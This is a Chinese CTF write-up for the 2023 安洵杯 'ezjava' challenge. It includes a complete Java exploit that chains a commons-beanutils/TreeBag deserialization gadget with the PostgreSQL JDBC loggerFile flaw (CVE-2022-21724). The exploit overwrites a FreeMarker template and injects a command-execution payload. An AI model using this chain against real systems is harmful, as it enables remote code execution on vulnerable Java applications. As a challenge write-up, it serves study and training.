2023安洵杯 ezjava

2023安洵杯 ezjava

附件地址:https://github.com/D0g3-Lab/i-SOON_CTF_2023

先看依赖:

        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
        </dependency>

        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.3</version>
        </dependency>

主要就是这两个依赖,有一个CB,和一个postgresql

在这里插入图片描述

postgresql可以看到有几个cve

最熟悉的就是cve202221724这个了

但是可以先看给的文件start.sh:

#!/bin/sh
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar

发现目标不出网,所以只能利用写文件的那个,刚好有一个ftl模板注入可以利用

在这里插入图片描述

payload如下:

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class cve202221724 {
    public static void main(String[] args) throws SQLException {
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}


接下来就是CB了,CB可以触发任意的getter,链子如下:

在这里插入图片描述

但是注意到题目ban了很多类,具体如下:

   static {
      BLACKLIST.add("com.sun.jndi");
      BLACKLIST.add("com.fasterxml.jackson");
      BLACKLIST.add("org.springframework");
      BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
      BLACKLIST.add("java.security.SignedObject");
      BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
      BLACKLIST.add("java.lang.Runtime");
      BLACKLIST.add("java.lang.ProcessBuilder");
      BLACKLIST.add("java.util.PriorityQueue");
   }

而且java的版本是openjdk:8u312​所以JNDI和RMI没辙,TemplatesImpl类和PriorityQueue类被禁

所以关键有两个点:

1.如何触发BeanComparator

2.如何触发getConnection

先来说第一个点

如何触发BeanComparator

这个是学了pop爷的链,只能说tql

入口是TreeBag类的readObject,其中有一个调用父类doReadObject的函数

在这里插入图片描述

跟进后触发了map.put

在这里插入图片描述

而TreeMap中有这个put函数,并且刚好触发compare:

在这里插入图片描述

在这里插入图片描述

这里的comparator也是Comparator​类,BeanComparator​是继承Comparator​类的,所以这里刚好接上了

getconnection可以写文件覆盖index.ftl利用模板注入rce

exp:

package com.ctf.axb;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.postgresql.ds.PGConnectionPoolDataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.TreeMap;

public class Exp {
    public static void main(String[] args) throws Exception {
        PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent = "<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        pgConnectionPoolDataSource.setProperty("loggerLevel","debug");
        pgConnectionPoolDataSource.setProperty("loggerFile","/app/templates/index.ftl");
        pgConnectionPoolDataSource.setURL(jdbcUrl);
        pgConnectionPoolDataSource.setProperty("user","<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"ls /\")}");
        pgConnectionPoolDataSource.setProperty("password","1");

        Class<?> mutableIntegerclass = Class.forName("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
        Constructor<?> mutableIntegerConstructor = mutableIntegerclass.getDeclaredConstructor(int.class);
        mutableIntegerConstructor.setAccessible(true);
        Object mutableIntegerClass = mutableIntegerConstructor.newInstance(1);
        Class<?> entry = Class.forName("java.util.TreeMap$Entry");
        Constructor<?> entryConstructor = entry.getDeclaredConstructor(Object.class, Object.class, entry);
        entryConstructor.setAccessible(true);
        Object entryClass = entryConstructor.newInstance(pgConnectionPoolDataSource, mutableIntegerClass, null);
        Object entryClass1 = entryConstructor.newInstance(pgConnectionPoolDataSource,mutableIntegerClass, entryClass);
        BeanComparator beanComparator = new BeanComparator();
        Class<? extends BeanComparator> beanComparatorClass = beanComparator.getClass();
        Field propertyField = beanComparatorClass.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(beanComparator,"connection");
        TreeMap treeMap = new TreeMap();

        setFieldValue(entryClass1, "right", entryClass);
        setFieldValue(treeMap,"root",entryClass1);
        setFieldValue(treeMap,"size",1);
        setFieldValue(treeMap,"modCount",1);
        setFieldValue(treeMap,"comparator",beanComparator);

        TreeBag treeBag = new TreeBag(beanComparator);
        Class<?> superclass = treeBag.getClass().getSuperclass();
        Field map = superclass.getDeclaredField("map");
        map.setAccessible(true);
        map.set(treeBag,treeMap);
        String s = base64serial(treeBag);
        System.out.println(s);
        base64deserial(s);
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }

    public static void base64deserial(String base64String) throws Exception {
        byte[] data = Base64.getDecoder().decode(base64String);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        ois.readObject();
    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
}

编码完直接打,就可以得到结果了

在这里插入图片描述

参考链接

https://xz.aliyun.com/t/11812

https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava

官方WP

  • 15
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值